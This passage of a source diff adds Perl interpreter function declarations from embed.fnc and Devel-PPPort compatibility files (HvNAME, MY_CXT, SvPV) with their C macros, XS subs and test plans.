+Ap |SSize_t|PerlIO_write |NULLOK PerlIO *f|NN const void *vbuf \
+ |Size_t count
+Ap |SSize_t|PerlIO_unread |NULLOK PerlIO *f|NN const void *vbuf \
+ |Size_t count
+Ap |Off_t |PerlIO_tell |NULLOK PerlIO *f
+Ap |int |PerlIO_seek |NULLOK PerlIO *f|Off_t offset|int whence
+Xp |void |PerlIO_save_errno |NULLOK PerlIO *f
+Xp |void |PerlIO_restore_errno |NULLOK PerlIO *f
+
+Ap |STDCHAR *|PerlIO_get_base |NULLOK PerlIO *f
+Ap |STDCHAR *|PerlIO_get_ptr |NULLOK PerlIO *f
+ApR |SSize_t |PerlIO_get_bufsiz |NULLOK PerlIO *f
+ApR |SSize_t |PerlIO_get_cnt |NULLOK PerlIO *f
+
+ApR |PerlIO *|PerlIO_stdin
+ApR |PerlIO *|PerlIO_stdout
+ApR |PerlIO *|PerlIO_stderr
+#endif /* USE_PERLIO */
+
+: Only used in dump.c
+p |void |deb_stack_all
+#if defined(PERL_IN_DEB_C)
+s |void |deb_stack_n |NN SV** stack_base|I32 stack_min \
+ |I32 stack_max|I32 mark_min|I32 mark_max
+#endif
+
+: pad API
+Apda |PADLIST*|pad_new |int flags
+#ifdef DEBUGGING
+pnX |void|set_padlist| NN CV * cv | NULLOK PADLIST * padlist
+#endif
+#if defined(PERL_IN_PAD_C)
+s |PADOFFSET|pad_alloc_name|NN PADNAME *name|U32 flags \
+ |NULLOK HV *typestash|NULLOK HV *ourstash
+#endif
+Apd |PADOFFSET|pad_add_name_pvn|NN const char *namepv|STRLEN namelen\
+ |U32 flags|NULLOK HV *typestash\
+ |NULLOK HV *ourstash
+Apd |PADOFFSET|pad_add_name_pv|NN const char *name\
+ |const U32 flags|NULLOK HV *typestash\
+ |NULLOK HV *ourstash
+Apd |PADOFFSET|pad_add_name_sv|NN SV *name\
+ |U32 flags|NULLOK HV *typestash\
+ |NULLOK HV *ourstash
+AMpd |PADOFFSET|pad_alloc |I32 optype|U32 tmptype
+Apd |PADOFFSET|pad_add_anon |NN CV* func|I32 optype
+p |void |pad_add_weakref|NN CV* func
+#if defined(PERL_IN_PAD_C)
+sd |void |pad_check_dup |NN PADNAME *name|U32 flags \
+ |NULLOK const HV *ourstash
+#endif
+Apd |PADOFFSET|pad_findmy_pvn|NN const char* namepv|STRLEN namelen|U32 flags
+Apd |PADOFFSET|pad_findmy_pv|NN const char* name|U32 flags
+Apd |PADOFFSET|pad_findmy_sv|NN SV* name|U32 flags
+ApdD |PADOFFSET|find_rundefsvoffset |
+Apd |SV* |find_rundefsv |
+#if defined(PERL_IN_PAD_C)
+sd |PADOFFSET|pad_findlex |NN const char *namepv|STRLEN namelen|U32 flags \
+ |NN const CV* cv|U32 seq|int warn \
+ |NULLOK SV** out_capture \
+ |NN PADNAME** out_name|NN int *out_flags
+#endif
+#ifdef DEBUGGING
+Apd |SV* |pad_sv |PADOFFSET po
+Apd |void |pad_setsv |PADOFFSET po|NN SV* sv
+#endif
+pd |void |pad_block_start|int full
+Apd |U32 |intro_my
+pd |OP * |pad_leavemy
+pd |void |pad_swipe |PADOFFSET po|bool refadjust
+#if defined(PERL_IN_PAD_C)
+sd |void |pad_reset
+#endif
+AMpd |void |pad_tidy |padtidy_type type
+pd |void |pad_free |PADOFFSET po
+pd |void |do_dump_pad |I32 level|NN PerlIO *file|NULLOK PADLIST *padlist|int full
+#if defined(PERL_IN_PAD_C)
+# if defined(DEBUGGING)
+sd |void |cv_dump |NN const CV *cv|NN const char *title
+# endif
+#endif
+Apd |CV* |cv_clone |NN CV* proto
+p |CV* |cv_clone_into |NN CV* proto|NN CV *target
+pd |void |pad_fixup_inner_anons|NN PADLIST *padlist|NN CV *old_cv|NN CV *new_cv
+pdX |void |pad_push |NN PADLIST *padlist|int depth
+ApbdR |HV* |pad_compname_type|const PADOFFSET po
+AMpdRn |PADNAME *|padnamelist_fetch|NN PADNAMELIST *pnl|SSize_t key
+Xop |void |padnamelist_free|NN PADNAMELIST *pnl
+AMpd |PADNAME **|padnamelist_store|NN PADNAMELIST *pnl|SSize_t key \
+ |NULLOK PADNAME *val
+Xop |void |padname_free |NN PADNAME *pn
+#if defined(USE_ITHREADS)
+pdR |PADNAME *|padname_dup |NN PADNAME *src|NN CLONE_PARAMS *param
+pR |PADNAMELIST *|padnamelist_dup|NN PADNAMELIST *srcpad \
+ |NN CLONE_PARAMS *param
+pdR |PADLIST *|padlist_dup |NN PADLIST *srcpad \
+ |NN CLONE_PARAMS *param
+#endif
+p |PAD ** |padlist_store |NN PADLIST *padlist|I32 key \
+ |NULLOK PAD *val
+
+ApdR |CV* |find_runcv |NULLOK U32 *db_seqp
+pR |CV* |find_runcv_where|U8 cond|IV arg \
+ |NULLOK U32 *db_seqp
+: Only used in perl.c
+p |void |free_tied_hv_pool
+#if defined(DEBUGGING)
+: Used in mg.c
+pR |int |get_debug_opts |NN const char **s|bool givehelp
+#endif
+Ap |void |save_set_svflags|NN SV *sv|U32 mask|U32 val
+#ifdef DEBUGGING
+Apod |void |hv_assert |NN HV *hv
+#endif
+
+ApdR |SV* |hv_scalar |NN HV *hv
+ApoR |I32* |hv_riter_p |NN HV *hv
+ApoR |HE** |hv_eiter_p |NN HV *hv
+Apo |void |hv_riter_set |NN HV *hv|I32 riter
+Apo |void |hv_eiter_set |NN HV *hv|NULLOK HE *eiter
+Ap |void |hv_rand_set |NN HV *hv|U32 new_xhv_rand
+Ap |void |hv_name_set |NN HV *hv|NULLOK const char *name|U32 len|U32 flags
+p |void |hv_ename_add |NN HV *hv|NN const char *name|U32 len \
+ |U32 flags
+p |void |hv_ename_delete|NN HV *hv|NN const char *name|U32 len \
+ |U32 flags
+: Used in dump.c and hv.c
+poM |AV** |hv_backreferences_p |NN HV *hv
+#if defined(PERL_IN_DUMP_C) || defined(PERL_IN_HV_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_SCOPE_C)
+poM |void |hv_kill_backrefs |NN HV *hv
+#endif
+Apd |void |hv_clear_placeholders |NN HV *hv
+XpoR |SSize_t*|hv_placeholders_p |NN HV *hv
+ApoR |I32 |hv_placeholders_get |NN const HV *hv
+Apo |void |hv_placeholders_set |NN HV *hv|I32 ph
+
+: This is indirectly referenced by globals.c. This is somewhat annoying.
+p |SV* |magic_scalarpack|NN HV *hv|NN MAGIC *mg
+
+#if defined(PERL_IN_SV_C)
+s |SV * |find_hash_subscript|NULLOK const HV *const hv \
+ |NN const SV *const val
+s |I32 |find_array_subscript|NULLOK const AV *const av \
+ |NN const SV *const val
+sMd |SV* |find_uninit_var|NULLOK const OP *const obase \
+ |NULLOK const SV *const uninit_sv|bool match \
+ |NN const char **desc_p
+#endif
+
+Ap |GV* |gv_fetchpvn_flags|NN const char* name|STRLEN len|I32 flags|const svtype sv_type
+Ap |GV* |gv_fetchsv|NN SV *name|I32 flags|const svtype sv_type
+
+#ifdef DEBUG_LEAKING_SCALARS_FORK_DUMP
+: Used in sv.c
+p |void |dump_sv_child |NN SV *sv
+#endif
+
+#ifdef PERL_DONT_CREATE_GVSV
+Apbm |GV* |gv_SVadd |NULLOK GV *gv
+#endif
+#if defined(PERL_IN_UTIL_C)
+s |bool |ckwarn_common |U32 w
+#endif
+Apo |bool |ckwarn |U32 w
+Apo |bool |ckwarn_d |U32 w
+: FIXME - exported for ByteLoader - public or private?
+XEopMa |STRLEN *|new_warnings_bitfield|NULLOK STRLEN *buffer \
+ |NN const char *const bits|STRLEN size
+
+#ifndef SPRINTF_RETURNS_STRLEN
+Apnod |int |my_sprintf |NN char *buffer|NN const char *pat|...
+#endif
+
+Apnodf |int |my_snprintf |NN char *buffer|const Size_t len|NN const char *format|...
+Apnod |int |my_vsnprintf |NN char *buffer|const Size_t len|NN const char *format|va_list ap
+#ifdef USE_QUADMATH
+Apnd |const char* |quadmath_format_single|NN const char* format
+Apnd |bool|quadmath_format_needed|NN const char* format
+#endif
+
+: Used in mg.c, sv.c
+px |void |my_clearenv
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#ifdef PERL_GLOBAL_STRUCT_PRIVATE
+Apo |void* |my_cxt_init |NN const char *my_cxt_key|size_t size
+Apo |int |my_cxt_index |NN const char *my_cxt_key
+#else
+Apo |void* |my_cxt_init |NN int *index|size_t size
+#endif
+#endif
+#if defined(PERL_IN_UTIL_C)
+so |void |xs_version_bootcheck|U32 items|U32 ax|NN const char *xs_p \
+ |STRLEN xs_len
+#endif
+Xpon |I32 |xs_handshake |const U32 key|NN void * v_my_perl\
+ |NN const char * file| ...
+Xp |void |xs_boot_epilog |const I32 ax
+#ifndef HAS_STRLCAT
+Apnod |Size_t |my_strlcat |NULLOK char *dst|NULLOK const char *src|Size_t size
+#endif
+
+#ifndef HAS_STRLCPY
+Apnod |Size_t |my_strlcpy |NULLOK char *dst|NULLOK const char *src|Size_t size
+#endif
+
+Apdn |bool |isinfnan |NV nv
+p |bool |isinfnansv |NN SV *sv
+
+#if !defined(HAS_SIGNBIT)
+AMdnoP |int |Perl_signbit |NV f
+#endif
+
+: Used by B
+XEMop |void |emulate_cop_io |NN const COP *const c|NN SV *const sv
+: Used by SvRX and SvRXOK
+XEMop |REGEXP *|get_re_arg|NULLOK SV *sv
+
+Aop |SV* |mro_get_private_data|NN struct mro_meta *const smeta \
+ |NN const struct mro_alg *const which
+Aop |SV* |mro_set_private_data|NN struct mro_meta *const smeta \
+ |NN const struct mro_alg *const which \
+ |NN SV *const data
+Aop |const struct mro_alg *|mro_get_from_name|NN SV *name
+Aop |void |mro_register |NN const struct mro_alg *mro
+Aop |void |mro_set_mro |NN struct mro_meta *const meta \
+ |NN SV *const name
+: Used in HvMROMETA(), which is public.
+Xpo |struct mro_meta* |mro_meta_init |NN HV* stash
+#if defined(USE_ITHREADS)
+: Only used in sv.c
+p |struct mro_meta* |mro_meta_dup |NN struct mro_meta* smeta|NN CLONE_PARAMS* param
+#endif
+Apd |AV* |mro_get_linear_isa|NN HV* stash
+#if defined(PERL_IN_MRO_C)
+sd |AV* |mro_get_linear_isa_dfs|NN HV* stash|U32 level
+s |void |mro_clean_isarev|NN HV * const isa \
+ |NN const char * const name \
+ |const STRLEN len \
+ |NULLOK HV * const exceptions \
+ |U32 hash|U32 flags
+s |void |mro_gather_and_rename|NN HV * const stashes \
+ |NN HV * const seen_stashes \
+ |NULLOK HV *stash \
+ |NULLOK HV *oldstash \
+ |NN SV *namesv
+#endif
+: Used in hv.c, mg.c, pp.c, sv.c
+pd |void |mro_isa_changed_in|NN HV* stash
+Apd |void |mro_method_changed_in |NN HV* stash
+pdx |void |mro_package_moved |NULLOK HV * const stash|NULLOK HV * const oldstash|NN const GV * const gv|U32 flags
+: Only used in perl.c
+p |void |boot_core_mro
+Apon |void |sys_init |NN int* argc|NN char*** argv
+Apon |void |sys_init3 |NN int* argc|NN char*** argv|NN char*** env
+Apon |void |sys_term
+ApoM |const char *|cop_fetch_label|NN COP *const cop \
+ |NULLOK STRLEN *len|NULLOK U32 *flags
+: Only used in op.c and the perl compiler
+ApoM |void|cop_store_label \
+ |NN COP *const cop|NN const char *label|STRLEN len|U32 flags
+
+xpo |int |keyword_plugin_standard|NN char* keyword_ptr|STRLEN keyword_len|NN OP** op_ptr
+
+#if defined(USE_ITHREADS)
+# if defined(PERL_IN_SV_C)
+s |void |unreferenced_to_tmp_stack|NN AV *const unreferenced
+# endif
+Aanop |CLONE_PARAMS *|clone_params_new|NN PerlInterpreter *const from \
+ |NN PerlInterpreter *const to
+Anop |void |clone_params_del|NN CLONE_PARAMS *param
+#endif
+
+: Used in perl.c and toke.c
+op |void |populate_isa |NN const char *name|STRLEN len|...
+
+: Used in keywords.c and toke.c
+Xop |bool |feature_is_enabled|NN const char *const name \
+ |STRLEN namelen
+
+: Some static inline functions need predeclaration because they are used
+: inside other static inline functions.
+#if defined(PERL_CORE) || defined (PERL_EXT)
+Ei |STRLEN |sv_or_pv_pos_u2b|NN SV *sv|NN const char *pv|STRLEN pos \
+ |NULLOK STRLEN *lenp
+#endif
+
+EMpPX |SV* |_get_encoding
+Ap |void |clear_defarray |NN AV* av|bool abandon
+
+ApM |void |leave_adjust_stacks|NN SV **from_sp|NN SV **to_sp \
+ |U8 gimme|int filter
+
+#ifndef PERL_NO_INLINE_FUNCTIONS
+AiM |PERL_CONTEXT * |cx_pushblock|U8 type|U8 gimme|NN SV** sp|I32 saveix
+AiM |void |cx_popblock|NN PERL_CONTEXT *cx
+AiM |void |cx_topblock|NN PERL_CONTEXT *cx
+AiM |void |cx_pushsub |NN PERL_CONTEXT *cx|NN CV *cv \
+ |NULLOK OP *retop|bool hasargs
+AiM |void |cx_popsub_common|NN PERL_CONTEXT *cx
+AiM |void |cx_popsub_args |NN PERL_CONTEXT *cx
+AiM |void |cx_popsub |NN PERL_CONTEXT *cx
+AiM |void |cx_pushformat |NN PERL_CONTEXT *cx|NN CV *cv \
+ |NULLOK OP *retop|NULLOK GV *gv
+AiM |void |cx_popformat |NN PERL_CONTEXT *cx
+AiM |void |cx_pusheval |NN PERL_CONTEXT *cx \
+ |NULLOK OP *retop|NULLOK SV *namesv
+AiM |void |cx_popeval |NN PERL_CONTEXT *cx
+AiM |void |cx_pushloop_plain|NN PERL_CONTEXT *cx
+AiM |void |cx_pushloop_for |NN PERL_CONTEXT *cx \
+ |NN void *itervarp|NULLOK SV *itersave
+AiM |void |cx_poploop |NN PERL_CONTEXT *cx
+AiM |void |cx_pushwhen |NN PERL_CONTEXT *cx
+AiM |void |cx_popwhen |NN PERL_CONTEXT *cx
+AiM |void |cx_pushgiven |NN PERL_CONTEXT *cx|NULLOK SV *orig_defsv
+AiM |void |cx_popgiven |NN PERL_CONTEXT *cx
+#endif
+
+#ifdef USE_DTRACE
+XEop |void |dtrace_probe_call |NN CV *cv|bool is_call
+XEop |void |dtrace_probe_load |NN const char *name|bool is_loading
+XEop |void |dtrace_probe_op |NN const OP *op
+XEop |void |dtrace_probe_phase|enum perl_phase phase
+#endif
+
+: ex: set ts=8 sts=4 sw=4 noet:
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME
new file mode 100644
index 00000000000..9fba5029fb4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/HvNAME
@@ -0,0 +1,38 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__ HvNAME_get(hv) HvNAME(hv)
+
+__UNDEFINED__ HvNAMELEN_get(hv) (HvNAME_get(hv) ? (I32)strlen(HvNAME_get(hv)) : 0)
+
+=xsubs
+
+char*
+HvNAME_get(hv)
+ HV *hv
+
+int
+HvNAMELEN_get(hv)
+ HV *hv
+
+=tests plan => 4
+
+ok(Devel::PPPort::HvNAME_get(\%Devel::PPPort::), 'Devel::PPPort');
+ok(!defined Devel::PPPort::HvNAME_get({}));
+
+ok(Devel::PPPort::HvNAMELEN_get(\%Devel::PPPort::), length('Devel::PPPort'));
+ok(Devel::PPPort::HvNAMELEN_get({}), 0);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT
new file mode 100644
index 00000000000..efd8ca1430c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/MY_CXT
@@ -0,0 +1,185 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+START_MY_CXT
+dMY_CXT_SV
+dMY_CXT
+MY_CXT_INIT
+MY_CXT_CLONE
+MY_CXT
+pMY_CXT
+pMY_CXT_
+_pMY_CXT
+aMY_CXT
+aMY_CXT_
+_aMY_CXT
+
+=implementation
+
+/*
+ * Boilerplate macros for initializing and accessing interpreter-local
+ * data from C. All statics in extensions should be reworked to use
+ * this, if you want to make the extension thread-safe. See ext/re/re.xs
+ * for an example of the use of these macros.
+ *
+ * Code that uses these macros is responsible for the following:
+ * 1. #define MY_CXT_KEY to a unique string, e.g. "DynaLoader_guts"
+ * 2. Declare a typedef named my_cxt_t that is a structure that contains
+ * all the data that needs to be interpreter-local.
+ * 3. Use the START_MY_CXT macro after the declaration of my_cxt_t.
+ * 4. Use the MY_CXT_INIT macro such that it is called exactly once
+ * (typically put in the BOOT: section).
+ * 5. Use the members of the my_cxt_t structure everywhere as
+ * MY_CXT.member.
+ * 6. Use the dMY_CXT macro (a declaration) in all the functions that
+ * access MY_CXT.
+ */
+
+#if defined(MULTIPLICITY) || defined(PERL_OBJECT) || \
+ defined(PERL_CAPI) || defined(PERL_IMPLICIT_CONTEXT)
+
+#ifndef START_MY_CXT
+
+/* This must appear in all extensions that define a my_cxt_t structure,
+ * right after the definition (i.e. at file scope). The non-threads
+ * case below uses it to declare the data as static. */
+#define START_MY_CXT
+
+#if { VERSION < 5.004_68 }
+/* Fetches the SV that keeps the per-interpreter data. */
+#define dMY_CXT_SV \
+ SV *my_cxt_sv = get_sv(MY_CXT_KEY, FALSE)
+#else /* >= perl5.004_68 */
+#define dMY_CXT_SV \
+ SV *my_cxt_sv = *hv_fetch(PL_modglobal, MY_CXT_KEY, \
+ sizeof(MY_CXT_KEY)-1, TRUE)
+#endif /* < perl5.004_68 */
+
+/* This declaration should be used within all functions that use the
+ * interpreter-local data. */
+#define dMY_CXT \
+ dMY_CXT_SV; \
+ my_cxt_t *my_cxtp = INT2PTR(my_cxt_t*,SvUV(my_cxt_sv))
+
+/* Creates and zeroes the per-interpreter data.
+ * (We allocate my_cxtp in a Perl SV so that it will be released when
+ * the interpreter goes away.) */
+#define MY_CXT_INIT \
+ dMY_CXT_SV; \
+ /* newSV() allocates one more than needed */ \
+ my_cxt_t *my_cxtp = (my_cxt_t*)SvPVX(newSV(sizeof(my_cxt_t)-1));\
+ Zero(my_cxtp, 1, my_cxt_t); \
+ sv_setuv(my_cxt_sv, PTR2UV(my_cxtp))
+
+/* This macro must be used to access members of the my_cxt_t structure.
+ * e.g. MYCXT.some_data */
+#define MY_CXT (*my_cxtp)
+
+/* Judicious use of these macros can reduce the number of times dMY_CXT
+ * is used. Use is similar to pTHX, aTHX etc. */
+#define pMY_CXT my_cxt_t *my_cxtp
+#define pMY_CXT_ pMY_CXT,
+#define _pMY_CXT ,pMY_CXT
+#define aMY_CXT my_cxtp
+#define aMY_CXT_ aMY_CXT,
+#define _aMY_CXT ,aMY_CXT
+
+#endif /* START_MY_CXT */
+
+#ifndef MY_CXT_CLONE
+/* Clones the per-interpreter data. */
+#define MY_CXT_CLONE \
+ dMY_CXT_SV; \
+ my_cxt_t *my_cxtp = (my_cxt_t*)SvPVX(newSV(sizeof(my_cxt_t)-1));\
+ Copy(INT2PTR(my_cxt_t*, SvUV(my_cxt_sv)), my_cxtp, 1, my_cxt_t);\
+ sv_setuv(my_cxt_sv, PTR2UV(my_cxtp))
+#endif
+
+#else /* single interpreter */
+
+#ifndef START_MY_CXT
+
+#define START_MY_CXT static my_cxt_t my_cxt;
+#define dMY_CXT_SV dNOOP
+#define dMY_CXT dNOOP
+#define MY_CXT_INIT NOOP
+#define MY_CXT my_cxt
+
+#define pMY_CXT void
+#define pMY_CXT_
+#define _pMY_CXT
+#define aMY_CXT
+#define aMY_CXT_
+#define _aMY_CXT
+
+#endif /* START_MY_CXT */
+
+#ifndef MY_CXT_CLONE
+#define MY_CXT_CLONE NOOP
+#endif
+
+#endif
+
+=xsmisc
+
+#define MY_CXT_KEY "Devel::PPPort::_guts" XS_VERSION
+
+typedef struct {
+ /* Put Global Data in here */
+ int dummy;
+} my_cxt_t;
+
+START_MY_CXT
+
+=xsboot
+
+{
+ MY_CXT_INIT;
+ /* If any of the fields in the my_cxt_t struct need
+ * to be initialised, do it here.
+ */
+ MY_CXT.dummy = 42;
+}
+
+=xsubs
+
+int
+MY_CXT_1()
+ CODE:
+ dMY_CXT;
+ RETVAL = MY_CXT.dummy == 42;
+ ++MY_CXT.dummy;
+ OUTPUT:
+ RETVAL
+
+int
+MY_CXT_2()
+ CODE:
+ dMY_CXT;
+ RETVAL = MY_CXT.dummy == 43;
+ OUTPUT:
+ RETVAL
+
+int
+MY_CXT_CLONE()
+ CODE:
+ MY_CXT_CLONE;
+ RETVAL = 42;
+ OUTPUT:
+ RETVAL
+
+=tests plan => 3
+
+ok(&Devel::PPPort::MY_CXT_1());
+ok(&Devel::PPPort::MY_CXT_2());
+ok(&Devel::PPPort::MY_CXT_CLONE());
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV
new file mode 100644
index 00000000000..4f0ded321c2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/SvPV
@@ -0,0 +1,534 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+SvPVbyte
+sv_2pvbyte
+sv_2pv_flags
+sv_pvn_force_flags
+
+=dontwarn
+
+NEED_sv_2pv_flags
+NEED_sv_2pv_flags_GLOBAL
+
+=implementation
+
+/* Backwards compatibility stuff... :-( */
+#if !defined(NEED_sv_2pv_flags) && defined(NEED_sv_2pv_nolen)
+# define NEED_sv_2pv_flags
+#endif
+#if !defined(NEED_sv_2pv_flags_GLOBAL) && defined(NEED_sv_2pv_nolen_GLOBAL)
+# define NEED_sv_2pv_flags_GLOBAL
+#endif
+
+/* Hint: sv_2pv_nolen
+ * Use the SvPV_nolen() or SvPV_nolen_const() macros instead of sv_2pv_nolen().
+ */
+
+__UNDEFINED__ sv_2pv_nolen(sv) SvPV_nolen(sv)
+
+#ifdef SvPVbyte
+
+/* Hint: SvPVbyte
+ * Does not work in perl-5.6.1, ppport.h implements a version
+ * borrowed from perl-5.7.3.
+ */
+
+#if { VERSION < 5.7.0 }
+
+#if { NEED sv_2pvbyte }
+
+char *
+sv_2pvbyte(pTHX_ SV *sv, STRLEN *lp)
+{
+ sv_utf8_downgrade(sv,0);
+ return SvPV(sv,*lp);
+}
+
+#endif
+
+/* Hint: sv_2pvbyte
+ * Use the SvPVbyte() macro instead of sv_2pvbyte().
+ */
+
+#undef SvPVbyte
+
+#define SvPVbyte(sv, lp) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_UTF8)) == (SVf_POK) \
+ ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_2pvbyte(sv, &lp))
+
+#endif
+
+#else
+
+# define SvPVbyte SvPV
+# define sv_2pvbyte sv_2pv
+
+#endif
+
+__UNDEFINED__ sv_2pvbyte_nolen(sv) sv_2pv_nolen(sv)
+
+/* Hint: sv_pvn
+ * Always use the SvPV() macro instead of sv_pvn().
+ */
+
+/* Hint: sv_pvn_force
+ * Always use the SvPV_force() macro instead of sv_pvn_force().
+ */
+
+/* If these are undefined, they're not handled by the core anyway */
+__UNDEFINED__ SV_IMMEDIATE_UNREF 0
+__UNDEFINED__ SV_GMAGIC 0
+__UNDEFINED__ SV_COW_DROP_PV 0
+__UNDEFINED__ SV_UTF8_NO_ENCODING 0
+__UNDEFINED__ SV_NOSTEAL 0
+__UNDEFINED__ SV_CONST_RETURN 0
+__UNDEFINED__ SV_MUTABLE_RETURN 0
+__UNDEFINED__ SV_SMAGIC 0
+__UNDEFINED__ SV_HAS_TRAILING_NUL 0
+__UNDEFINED__ SV_COW_SHARED_HASH_KEYS 0
+
+#if { VERSION < 5.7.2 }
+
+#if { NEED sv_2pv_flags }
+
+char *
+sv_2pv_flags(pTHX_ SV *sv, STRLEN *lp, I32 flags)
+{
+ STRLEN n_a = (STRLEN) flags;
+ return sv_2pv(sv, lp ? lp : &n_a);
+}
+
+#endif
+
+#if { NEED sv_pvn_force_flags }
+
+char *
+sv_pvn_force_flags(pTHX_ SV *sv, STRLEN *lp, I32 flags)
+{
+ STRLEN n_a = (STRLEN) flags;
+ return sv_pvn_force(sv, lp ? lp : &n_a);
+}
+
+#endif
+
+#endif
+
+#if { VERSION < 5.8.8 } || ( { VERSION >= 5.9.0 } && { VERSION < 5.9.3 } )
+# define D_PPP_SVPV_NOLEN_LP_ARG &PL_na
+#else
+# define D_PPP_SVPV_NOLEN_LP_ARG 0
+#endif
+
+__UNDEFINED__ SvPV_const(sv, lp) SvPV_flags_const(sv, lp, SV_GMAGIC)
+__UNDEFINED__ SvPV_mutable(sv, lp) SvPV_flags_mutable(sv, lp, SV_GMAGIC)
+
+__UNDEFINED__ SvPV_flags(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_2pv_flags(sv, &lp, flags))
+
+__UNDEFINED__ SvPV_flags_const(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX_const(sv)) : \
+ (const char*) sv_2pv_flags(sv, &lp, flags|SV_CONST_RETURN))
+
+__UNDEFINED__ SvPV_flags_const_nolen(sv, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX_const(sv) : \
+ (const char*) sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags|SV_CONST_RETURN))
+
+__UNDEFINED__ SvPV_flags_mutable(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX_mutable(sv)) : \
+ sv_2pv_flags(sv, &lp, flags|SV_MUTABLE_RETURN))
+
+__UNDEFINED__ SvPV_force(sv, lp) SvPV_force_flags(sv, lp, SV_GMAGIC)
+__UNDEFINED__ SvPV_force_nolen(sv) SvPV_force_flags_nolen(sv, SV_GMAGIC)
+__UNDEFINED__ SvPV_force_mutable(sv, lp) SvPV_force_flags_mutable(sv, lp, SV_GMAGIC)
+__UNDEFINED__ SvPV_force_nomg(sv, lp) SvPV_force_flags(sv, lp, 0)
+__UNDEFINED__ SvPV_force_nomg_nolen(sv) SvPV_force_flags_nolen(sv, 0)
+
+__UNDEFINED__ SvPV_force_flags(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX(sv)) : sv_pvn_force_flags(sv, &lp, flags))
+
+__UNDEFINED__ SvPV_force_flags_nolen(sv, flags) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+ ? SvPVX(sv) : sv_pvn_force_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, flags))
+
+__UNDEFINED__ SvPV_force_flags_mutable(sv, lp, flags) \
+ ((SvFLAGS(sv) & (SVf_POK|SVf_THINKFIRST)) == SVf_POK \
+ ? ((lp = SvCUR(sv)), SvPVX_mutable(sv)) \
+ : sv_pvn_force_flags(sv, &lp, flags|SV_MUTABLE_RETURN))
+
+__UNDEFINED__ SvPV_nolen(sv) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC))
+
+__UNDEFINED__ SvPV_nolen_const(sv) \
+ ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX_const(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, SV_GMAGIC|SV_CONST_RETURN))
+
+__UNDEFINED__ SvPV_nomg(sv, lp) SvPV_flags(sv, lp, 0)
+__UNDEFINED__ SvPV_nomg_const(sv, lp) SvPV_flags_const(sv, lp, 0)
+__UNDEFINED__ SvPV_nomg_const_nolen(sv) SvPV_flags_const_nolen(sv, 0)
+__UNDEFINED__ SvPV_nomg_nolen(sv) ((SvFLAGS(sv) & (SVf_POK)) == SVf_POK \
+ ? SvPVX(sv) : sv_2pv_flags(sv, D_PPP_SVPV_NOLEN_LP_ARG, 0))
+
+__UNDEFINED__ SvPV_renew(sv,n) STMT_START { SvLEN_set(sv, n); \
+ SvPV_set((sv), (char *) saferealloc( \
+ (Malloc_t)SvPVX(sv), (MEM_SIZE)((n)))); \
+ } STMT_END
+
+=xsinit
+
+#define NEED_sv_2pv_flags
+#define NEED_sv_pvn_force_flags
+#define NEED_sv_2pvbyte
+
+=xsubs
+
+IV
+SvPVbyte(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ STRLEN len;
+ CODE:
+ str = SvPVbyte(sv, len);
+ RETVAL = strEQ(str, "mhx") ? (IV) len : (IV) -1;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_nolen(sv)
+ SV *sv
+ PREINIT:
+ char *str;
+ CODE:
+ str = SvPV_nolen(sv);
+ RETVAL = strEQ(str, "mhx") ? 42 : 0;
+ OUTPUT:
+ RETVAL
+
+IV
+SvPV_const(sv)
+ SV *sv
+ PREINIT:
+ const char *str;
